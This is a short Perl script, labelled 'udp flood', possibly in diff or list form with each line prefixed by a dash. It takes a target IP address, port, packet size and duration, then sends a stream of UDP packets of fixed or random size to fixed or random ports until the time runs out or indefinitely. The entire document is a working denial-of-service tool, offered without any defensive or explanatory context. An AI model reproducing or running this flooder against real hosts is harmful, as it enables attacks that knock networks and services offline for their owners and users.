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- #!/usr/bin/perl
- ##############
- # udp flood.
- ##############
- use Socket;
- use strict;
- if ($#ARGV != 3) {
- print "flood.pl <ip> <port> <size> <time>\n\n";
- print " port=0: use random ports\n";
- print " size=0: use random size between 64 and 1024\n";
- print " time=0: continuous flood\n";
- exit(1);
- }
- my ($ip,$port,$size,$time) = @ARGV;
- my ($iaddr,$endtime,$psize,$pport);
- $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
- $endtime = time() + ($time ? $time : 1000000);
- socket(flood, PF_INET, SOCK_DGRAM, 17);
- print "Flooding $ip " . ($port ? $port : "random") . " port with " .
- ($size ? "$size-byte" : "random size") . " packets" .
- ($time ? " for $time seconds" : "") . "\n";
- print "Break with Ctrl-C\n" unless $time;
- for (;time() <= $endtime;) {
- $psize = $size ? $size : int(rand(1024-64)+64) ;
- $pport = $port ? $port : int(rand(65500))+1;
- send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
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